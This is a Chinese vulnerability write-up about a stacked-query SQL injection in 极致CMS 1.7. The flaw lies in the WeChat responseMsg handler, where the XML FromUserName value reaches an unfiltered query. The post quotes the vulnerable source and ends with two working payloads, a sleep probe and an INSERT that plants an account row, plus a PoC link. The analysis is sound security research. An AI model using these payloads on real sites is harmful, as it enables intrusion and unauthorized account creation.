当前位置: 首页 > news >正文

极致CMS1.7 另一处前台SQL注入

本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。

0x00 漏洞描述

复现了 CNVD-2021-26000 之后,搜索了一下极致 cms 相关漏洞,发现 1.7 版本的漏洞还真不少,并且还有另一个前台SQL 注入,并且支持堆叠查询。

0x01 漏洞影响

极致CMS1.7

0x02 漏洞分析

关于这个 cms 数据库方面的一些基础已经在之前发的文章中讲了一些了,数据库操作基本上没有任何防护,但是大部分的输入都是有同一套比较完善的过滤,因此我们需要找到没有过滤的输入,并且会代入数据库操作的地方

这里有一处 Home/c/WechatController.phpresponseMsg 方法

$postStr = file_get_contents('php://input');
if (!empty($postStr)){
    libxml_disable_entity_loader(true);
    $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
    $this->postObj = $postObj;
    $fromUsername = $postObj->FromUserName;
    $toUsername = $postObj->ToUserName;
    $keyword = trim($postObj->Content);
    $time = time();
    $textTpl = "<xml>
                    <ToUserName><![CDATA[%s]]></ToUserName>
                    <FromUserName><![CDATA[%s]]></FromUserName>
                    <CreateTime>%s</CreateTime>
                    <MsgType><![CDATA[%s]]></MsgType>
                    <Content><![CDATA[%s]]></Content>
                    <FuncFlag>0</FuncFlag>
                    </xml>";
    if($postObj->MsgType=='event'){
        switch ($postObj->Event){
            case 'CLICK':
            break;
            case 'subscribe':
            $openid = $fromUsername;
            $islive = M('member')->find(array('openid'=>$openid));

首先是

$postStr = file_get_contents('php://input');

这里是直接获取数据流,赋值给 $postStr ,因此这里就没有其他过滤

然后使用函数解析 simplexml_load_string ,可以用来解析 xml 字符串,要不是上面那一句,这里就有 xxe 漏洞咯

接下来是一串赋值,最后进入一个 if 语句,只有满足 $postObj->MsgType=='event' ,才会继续向下执行,而这个值是我们可控的,不成问题,设置

<MsgType><![CDATA[event]]></MsgType>

然后是 switch 语句,比较简单,选择使得 $postObj->Event == 'subscribe'

<Event><![CDATA[subscribe]]></Event>

然后会执行

$openid = $fromUsername;
$islive = M('member')->find(array('openid'=>$openid));

这里会先赋值,然后进入数据库操作,而这个 $fromUsername 在上面有定义

$fromUsername = $postObj->FromUserName;

这也是可控的,可以这样

<FromUserName><![CDATA[1]]></FromUserName>

最后进入到了 FrPHP/lib/Model.phpfind 方法

public function find($where=null,$order=null,$fields=null,$limit=1)
{
   if( $record = $this->findAll($where, $order, $fields, 1) ){
        return array_pop($record);
    }else{
        return FALSE;
    }
}

这实际上是调用 $this->findAll ,只是限制了查询数量为 1,我们看 $this->findAll

public function findAll($conditions=null,$order=null,$fields=null,$limit=null)
{
    $where = '';
    if(is_array($conditions)){
        $join = array();
        foreach( $conditions as $key => $value ){
            $value =  '\''.$value.'\'';
            $join[] = "{$key} = {$value}";
        }
        $where = "WHERE ".join(" AND ",$join);
    }else{
        if(null != $conditions)$where = "WHERE ".$conditions;
    }
  if(is_array($order)){
        $where .= ' ORDER BY ';
        $where .= implode(',', $order);
  }else{
     if($order!=null)$where .= " ORDER BY  ".$order;
  }
    if(!empty($limit))$where .= " LIMIT {$limit}";
    $fields = empty($fields) ? "*" : $fields;
    $table = self::$table;
    $sql = "SELECT {$fields} FROM {$table} {$where}";
    return $this->db->getArray($sql);
}

这里的 $conditions 就是传进来的 array('openid'=>$openid) ,到最后会拼接字符串形成最后的 sql 语句

SELECT * FROM jz_member WHERE openid = '1' LIMIT 1

这里的 1 就是传进来的值,这个值没有经过任何过滤,因此我们可以随意拼接,最后传入 $this->db->getArray($sql)

public function getArray($sql){
    if(!$result = $this->query($sql))return array();
    if(!$this->Statement->rowCount())return array();
    $rows = array();
    while($rows[] = $this->Statement->fetch(PDO::FETCH_ASSOC)){}
    $this->Statement=null;
    array_pop($rows);
    return $rows;
}

然后就会执行 $this->query($sql)

public function query($sql){
    $this->arrSql[] = $sql;
    $this->Statement = $this->pdo->query($sql);
    if ($this->Statement) {
        return $this;
    }else{
        $msg = $this->pdo->errorInfo();
        if($msg[2]){
            Error_msg('数据库错误:' . $msg[2] . end($this->arrSql));
        }
    }
}

这里使用了一个 pdo 对象( pdo 数据对象扩展是 php 访问数据库的一个轻量级接口,PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。),可以使用堆叠查询

执行后返回结果集,之后处理就不管了,至少执行 sql 之前没有任何处理,妥妥的 sql 注入,而且可以堆叠查询

0x03 漏洞复现

放两个 payload

1';select sleep(5)-- 
1';insert into jz_level values(999,'fff','a877cec7a6ffd70dfd313411d6196a40','1','1','1','1','1','1')#

0x04 链接

环境与 poc 都可以在如下链接获取

GitHub

https://github.com/N0puple/vulPOC

相关文章:

  • 基于javaweb,ssm鲜花销售系统
  • 数据结构与算法:大小根堆和快速排序 解决TopK问题
  • 【ArkUI】对于Flex布局与基础组件声明式UI-组件封装父子组件相互绑定的运用【OpenHarmony/HarmonyOS】
  • java基于ssm+vue的企业通用进销存管理系统 element
  • K8S搭建
  • Python之简单飞机行李托运计费系统
  • React项目 浏览器控制台上的 WDS HMR 全称是什么
  • Java · 认识 String 类(上)· 创建字符串 · 字符串比较相等 · 字符串常量池 · 字符串不可变 · 字符字节与字符串
  • Visual Studio 调试启动时会卡几十秒钟
  • .NET 发展历程
  • 验证码生成工具google authenticator
  • Mysql日期格式及内置日期函数
  • spring boot 开发单体应用
  • Linux入门之配置网桥
  • 【图像分割-阈值分割】基于灰狼算法二维最大熵多阈值图像分割附matlab代码
  • ----------
  • Angular js 常用指令ng-if、ng-class、ng-option、ng-value、ng-click是如何使用的?
  • Apache的基本使用
  • css的样式优先级
  • java多线程
  • Js实现点击查看全文(类似今日头条、知乎日报效果)
  • JS数组方法汇总
  • leetcode386. Lexicographical Numbers
  • Linux Process Manage
  • maven工程打包jar以及java jar命令的classpath使用
  • PhantomJS 安装
  • React 快速上手 - 06 容器组件、展示组件、操作组件
  • React-redux的原理以及使用
  • Redis 中的布隆过滤器
  • Service Worker
  • SpiderData 2019年2月23日 DApp数据排行榜
  • underscore源码剖析之整体架构
  • Vue.js 移动端适配之 vw 解决方案
  • Zepto.js源码学习之二
  • 阿里云爬虫风险管理产品商业化,为云端流量保驾护航
  • 浮动相关
  • 工作中总结前端开发流程--vue项目
  • 前端代码风格自动化系列(二)之Commitlint
  • 使用Gradle第一次构建Java程序
  • 数据仓库的几种建模方法
  • 原生JS动态加载JS、CSS文件及代码脚本
  • 资深实践篇 | 基于Kubernetes 1.61的Kubernetes Scheduler 调度详解 ...
  • ​LeetCode解法汇总2670. 找出不同元素数目差数组
  • #if和#ifdef区别
  • #include<初见C语言之指针(5)>
  • (2)STL算法之元素计数
  • (27)4.8 习题课
  • (4)STL算法之比较
  • (html转换)StringEscapeUtils类的转义与反转义方法
  • (二开)Flink 修改源码拓展 SQL 语法
  • (附源码)springboot金融新闻信息服务系统 毕业设计651450
  • (求助)用傲游上csdn博客时标签栏和网址栏一直显示袁萌 的头像
  • (三)Honghu Cloud云架构一定时调度平台
  • (已解决)vue+element-ui实现个人中心,仿照原神
  • (原創) X61用戶,小心你的上蓋!! (NB) (ThinkPad) (X61)